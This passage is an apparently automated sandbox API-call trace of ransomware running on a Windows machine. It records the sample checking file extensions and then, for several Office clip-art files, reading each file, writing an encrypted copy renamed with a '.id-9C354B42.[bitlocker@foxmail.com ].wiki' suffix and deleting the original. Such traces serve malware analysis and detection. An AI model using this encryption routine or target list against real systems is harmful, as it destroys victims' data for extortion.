Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.856] lstrlenW (lpString=".doc") returned 4 [0199.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.856] lstrlenW (lpString=".docx") returned 5 [0199.856] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.856] lstrlenW (lpString=".pdf") returned 4 [0199.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.856] lstrlenW (lpString=".xls") returned 4 [0199.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.856] lstrlenW (lpString=".xlsx") returned 5 [0199.856] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.856] lstrlenW (lpString=".ppt") returned 4 [0199.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.856] lstrlenW (lpString=".zip") returned 4 [0199.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.856] lstrlenW (lpString=".rar") returned 4 [0199.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.856] lstrlenW (lpString=".bz2") returned 4 [0199.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString=".7z") returned 3 [0199.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.857] lstrlenW (lpString=".dbf") returned 4 [0199.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.857] lstrlenW (lpString=".1cd") returned 4 [0199.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.857] lstrlenW (lpString=".jpg") returned 4 [0199.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.857] lstrlenW (lpString=".doc") returned 4 [0199.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString=".docx") returned 5 [0199.857] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.857] lstrlenW (lpString=".pdf") returned 4 [0199.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString=".xls") returned 4 [0199.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.857] lstrlenW (lpString=".xlsx") returned 5 [0199.857] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.857] lstrlenW (lpString=".ppt") returned 4 [0199.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.857] lstrlenW (lpString=".zip") returned 4 [0199.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.857] lstrlenW (lpString=".rar") returned 4 [0199.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.857] lstrlenW (lpString=".bz2") returned 4 [0199.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.858] lstrlenW (lpString=".7z") returned 3 [0199.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.858] lstrlenW (lpString=".dbf") returned 4 [0199.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.858] lstrlenW (lpString=".1cd") returned 4 [0199.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0199.858] lstrlenW (lpString=".jpg") returned 4 [0199.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.858] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.858] lstrlenW (lpString="J0187893.WMF") returned 12 [0199.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.858] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5620) returned 1 [0199.859] CloseHandle (hObject=0x220) returned 1 [0199.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 0x20 [0199.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.859] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.859] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.859] GetLastError () returned 0x0 [0199.859] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x15f4, lpOverlapped=0x0) returned 1 [0199.861] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1600, lpOverlapped=0x0) returned 1 [0199.862] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.862] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.862] SetEndOfFile (hFile=0x20c) returned 1 [0199.862] CloseHandle (hObject=0x20c) returned 1 [0199.862] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.862] SetEndOfFile (hFile=0x220) returned 1 [0199.863] CloseHandle (hObject=0x220) returned 1 [0199.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0199.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.863] lstrlenW (lpString=".doc") returned 4 [0199.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString=".docx") returned 5 [0199.864] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.864] lstrlenW (lpString=".pdf") returned 4 [0199.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString=".xls") returned 4 [0199.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.864] lstrlenW (lpString=".xlsx") returned 5 [0199.864] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.864] lstrlenW (lpString=".ppt") returned 4 [0199.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.864] lstrlenW (lpString=".zip") returned 4 [0199.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.864] lstrlenW (lpString=".rar") returned 4 [0199.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString=".bz2") returned 4 [0199.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString=".7z") returned 3 [0199.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.864] lstrlenW (lpString=".dbf") returned 4 [0199.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.864] lstrlenW (lpString=".1cd") returned 4 [0199.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.864] lstrlenW (lpString=".jpg") returned 4 [0199.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.864] lstrlenW (lpString=".doc") returned 4 [0199.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString=".docx") returned 5 [0199.865] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.865] lstrlenW (lpString=".pdf") returned 4 [0199.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString=".xls") returned 4 [0199.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.865] lstrlenW (lpString=".xlsx") returned 5 [0199.865] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.865] lstrlenW (lpString=".ppt") returned 4 [0199.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.865] lstrlenW (lpString=".zip") returned 4 [0199.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.865] lstrlenW (lpString=".rar") returned 4 [0199.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString=".bz2") returned 4 [0199.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString=".7z") returned 3 [0199.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.865] lstrlenW (lpString=".dbf") returned 4 [0199.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.865] lstrlenW (lpString=".1cd") returned 4 [0199.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0199.865] lstrlenW (lpString=".jpg") returned 4 [0199.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.866] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.866] lstrlenW (lpString="J0187895.WMF") returned 12 [0199.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.866] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3472) returned 1 [0199.866] CloseHandle (hObject=0x220) returned 1 [0199.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 0x20 [0199.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.866] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.866] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.867] GetLastError () returned 0x0 [0199.867] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xd90, lpOverlapped=0x0) returned 1 [0199.869] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xda0, lpOverlapped=0x0) returned 1 [0199.869] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.869] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.870] SetEndOfFile (hFile=0x20c) returned 1 [0199.870] CloseHandle (hObject=0x20c) returned 1 [0199.870] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.870] SetEndOfFile (hFile=0x220) returned 1 [0199.870] CloseHandle (hObject=0x220) returned 1 [0199.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0199.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.871] lstrlenW (lpString=".doc") returned 4 [0199.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.871] lstrlenW (lpString=".docx") returned 5 [0199.871] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.871] lstrlenW (lpString=".pdf") returned 4 [0199.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.871] lstrlenW (lpString=".xls") returned 4 [0199.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.871] lstrlenW (lpString=".xlsx") returned 5 [0199.871] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.871] lstrlenW (lpString=".ppt") returned 4 [0199.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.871] lstrlenW (lpString=".zip") returned 4 [0199.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.871] lstrlenW (lpString=".rar") returned 4 [0199.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.871] lstrlenW (lpString=".bz2") returned 4 [0199.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString=".7z") returned 3 [0199.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.872] lstrlenW (lpString=".dbf") returned 4 [0199.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.872] lstrlenW (lpString=".1cd") returned 4 [0199.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.872] lstrlenW (lpString=".jpg") returned 4 [0199.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.872] lstrlenW (lpString=".doc") returned 4 [0199.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString=".docx") returned 5 [0199.872] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.872] lstrlenW (lpString=".pdf") returned 4 [0199.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString=".xls") returned 4 [0199.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.872] lstrlenW (lpString=".xlsx") returned 5 [0199.872] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.872] lstrlenW (lpString=".ppt") returned 4 [0199.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.872] lstrlenW (lpString=".zip") returned 4 [0199.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.872] lstrlenW (lpString=".rar") returned 4 [0199.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.872] lstrlenW (lpString=".bz2") returned 4 [0199.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.873] lstrlenW (lpString=".7z") returned 3 [0199.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.873] lstrlenW (lpString=".dbf") returned 4 [0199.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.873] lstrlenW (lpString=".1cd") returned 4 [0199.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0199.873] lstrlenW (lpString=".jpg") returned 4 [0199.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.873] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.873] lstrlenW (lpString="J0187921.WMF") returned 12 [0199.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.874] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5000) returned 1 [0199.874] CloseHandle (hObject=0x220) returned 1 [0199.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 0x20 [0199.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.874] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.874] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.874] GetLastError () returned 0x0 [0199.874] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1388, lpOverlapped=0x0) returned 1 [0199.876] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1390, lpOverlapped=0x0) returned 1 [0199.877] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.877] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.877] SetEndOfFile (hFile=0x20c) returned 1 [0199.877] CloseHandle (hObject=0x20c) returned 1 [0199.877] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.877] SetEndOfFile (hFile=0x220) returned 1 [0199.878] CloseHandle (hObject=0x220) returned 1 [0199.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0199.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.878] lstrlenW (lpString=".doc") returned 4 [0199.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString=".docx") returned 5 [0199.879] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.879] lstrlenW (lpString=".pdf") returned 4 [0199.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString=".xls") returned 4 [0199.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.879] lstrlenW (lpString=".xlsx") returned 5 [0199.879] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.879] lstrlenW (lpString=".ppt") returned 4 [0199.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.879] lstrlenW 